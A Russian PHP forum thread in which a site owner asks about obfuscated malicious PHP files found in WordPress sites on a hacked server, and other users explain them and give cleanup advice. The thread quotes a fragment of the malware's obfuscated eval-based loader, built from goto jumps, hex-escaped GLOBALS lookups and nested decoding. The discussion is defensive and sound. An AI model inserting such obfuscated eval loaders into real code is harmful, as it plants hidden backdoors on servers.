За последние 24 часа нас посетили 81014 программистов и 4325 роботов. Сейчас ищут 1856 программистов ...

Непонятные для меня скрипты

Тема в разделе "Прочие вопросы по PHP", создана пользователем bikerlex, 1 янв 2024.

  1. bikerlex

    bikerlex Активный пользователь

    С нами с:
    2 дек 2014
    Сообщения:
    343
    Симпатии:
    39
    Столкнулся впервые с такими скриптами, не могу понять что это и что оно делает. Нагуглить объяснения тоже не выходит. Похоже какой-то вредоносный, но как он работает?

    Кусок кода:
    PHP:
    1. <?php goto b411d;
    2. e99e7:
    3. ${${"\x47\x4c\x4f\x42\101\x4c\123"}["\x6b\x71\153\153\151\161\x79\x67\152\151\x69"]} = "\172";
    4. goto bfd51;
    5. F940b:
    6. eval(${${"\107\114\x4f\102\101\114\x53"}["\146\155\x6b\161\153\160\x79\x69"]}(${${"\x47\114\x4f\102\101\x4c\x53"}["\157\x63\142\x63\x6d\x63\142\x67\157\x66\x64"]}(${${"\x47\x4c\117\x42\101\114\123"}["\153\x63\x65\166\157\150\x78\x78\156\156\x6c"]x74"))));
     
  2. Vladimir Kheifets

    Vladimir Kheifets Новичок

    С нами с:
    23 сен 2023
    Сообщения:
    485
    Симпатии:
    97
    Адрес:
    Бавария, Германия
    Добрый день и с Новым Годом!
    Работает это так:
    PHP:
    1. <?
    2. // где-то в полном коде определятся глобальная переменная, которой
    3. // присваивается название другой переменной, например, "test"
    4. ${"GLOBALS"}["kqkkiqygjii"]="test";
    5.  
    6. // в фрагменте кода
    7. ${"\x47\x4c\x4f\x42\101\x4c\123"}["\x6b\x71\153\153\151\161\x79\x67\152\151\x69"]
    8. // это запись ${"GLOBALS"}["kqkkiqygjii"]
    9. echo (${"\x47\x4c\x4f\x42\101\x4c\123"}["\x6b\x71\153\153\151\161\x79\x67\152\151\x69"]);
    10. // output: test
    11.  
    12. echo "<br>";
    13.  
    14. // в фрагменте кода
    15. ${${"\x47\x4c\x4f\x42\101\x4c\123"}["\x6b\x71\153\153\151\161\x79\x67\152\151\x69"]} = "\172";
    16. // работает также как
    17. // ${${"GLOBALS"}["kqkkiqygjii"]} = "z";
    18.  
    19. echo ${${"GLOBALS"}["kqkkiqygjii"]};
    20. // output: z
    21. ?>
    Из этого следует, что этот код исполняемый, но зарыто в нём может быть, что угодно.
    При большом желании в нём можно разобраться декодировав на сервисе https://www.unphp.net/
    Если Вы нашли его в какой-то CMS, то возможно разработчики специально закодировали код,
    но это маловероятно т.к. должно тормозить исполнение кода.
    Советую Вам сделать dump и потом полностью удалить этот "загадочный" код.
    Если всё будет работь нормально, значит это был какой-то вредоносный.
    Удачи!
     
  3. bikerlex

    bikerlex Активный пользователь

    С нами с:
    2 дек 2014
    Сообщения:
    343
    Симпатии:
    39
    Спасибо, Вас тоже с Новым годом!

    Файлы с подобными скиптами появились в Wordpress, но их там точно быть не должно. А ещё файл с таким скриптом нашёл в одном из каталогов сервера, отдельно от сайтов. Ну это точно вредоносные скрипты, с сервера посыпался спам.
    Вот так этот файл выгладит целиком https://www.unphp.net/decode/02fbe02807a16d933f3436c0c426ac6d/

    Вот теперь понятно, что это просто закодированный код PHP. Дальше я уже наверное разберу что там за скрипты и что они делают.
    Благодарю!
     
    #3 bikerlex, 1 янв 2024
    Последнее редактирование: 1 янв 2024
  4. Survivor

    Survivor Новичок

    С нами с:
    8 фев 2023
    Сообщения:
    93
    Симпатии:
    19
    Тебя взломали и одним лишь удалением зловредного кода не обойтись.

    В этом говне:
    base64_decode - передадут зловредный код (декодированный)
    str_rot13 - шифрование и сокрытие от просмотра кода
    eval - выполнение кода

    т.е. любой произвольный код будет выполнен.

    Как минимум, функцию eval нужно вообще запретить в системе.
    disable_functions в php.ini

    Что там тебе в систему могли загрузить - бог его знает. Я бы сразу её снес и переустановил. Пользователь не должен выходить за пределы своей папки с сайтом, тогда тут бы ты себя наиболее обезопасил.
    Простое удаление этого файла ни к чему не приведут, ни сегодня так завтра тебя ломанут снова ибо зловред в системе 100% + вероятнее всего дыра в движке.
    Не исключено, что сам сервер настроен криво и например папка "temp" для загрузки изображений и/или других файлов позволяет выполнять php код. Нужно запретить. Все что не нужно пользователю - вынести за пределы каталога web
     
  5. bikerlex

    bikerlex Активный пользователь

    С нами с:
    2 дек 2014
    Сообщения:
    343
    Симпатии:
    39
    Это уже понятно, потому что попытки восстановления сайтов из бэкапов были, с полным удалением заражённых. Вот и пытаюсь разобраться что теперь делать.

    Ну вообще это выделенный сервер (с админкой ISPmanager) и изначально там был 1 пользователь (www-root) для сайтов, отдельный от root. Потом несколько сайтов заразилось и на www-root прям на глазах в корнях сайтов начали появляться вредоносные файлы. Все пароли на сервере поменялись, были созданы нескольких новых пользователей, из старых бэкапов восстановили сайты под новыми пользователями. Всё было обновлено до последней версии и движки и плагины. И долгое время была тишина, а потом и на новых пользователях началась эпидемия. Я даже не знаю куда копать, где этот источник заражения. Тут моя компетенция всё.
     
  6. Vladimir Kheifets

    Vladimir Kheifets Новичок

    С нами с:
    23 сен 2023
    Сообщения:
    485
    Симпатии:
    97
    Адрес:
    Бавария, Германия
    --- Добавлено ---
    --- Добавлено ---
    У меня был похожий случай. Kлиенту, кто-то сделал сайт на Joomla.
    Все эти муки закончились тем, что он попросил переписать сайт без CMS.
     
  7. amberson

    amberson Активный пользователь

    С нами с:
    23 июл 2020
    Сообщения:
    65
    Симпатии:
    16
    Логируй запросы, возможно там удастся увидеть дыру в которую они пролазят.
     
  8. Drunkenmunky

    Drunkenmunky Старожил

    С нами с:
    12 авг 2020
    Сообщения:
    1.512
    Симпатии:
    284
    Смените пароли от FTP.
    Больше не храните их в Total Commander
    Переустановите систему на своем PC.
     
    don.bidon нравится это.
  9. don.bidon

    don.bidon Активный пользователь

    С нами с:
    28 мар 2021
    Сообщения:
    947
    Симпатии:
    147
    Скорее всего FTP увели, поддерживаю @Drunkenmunky.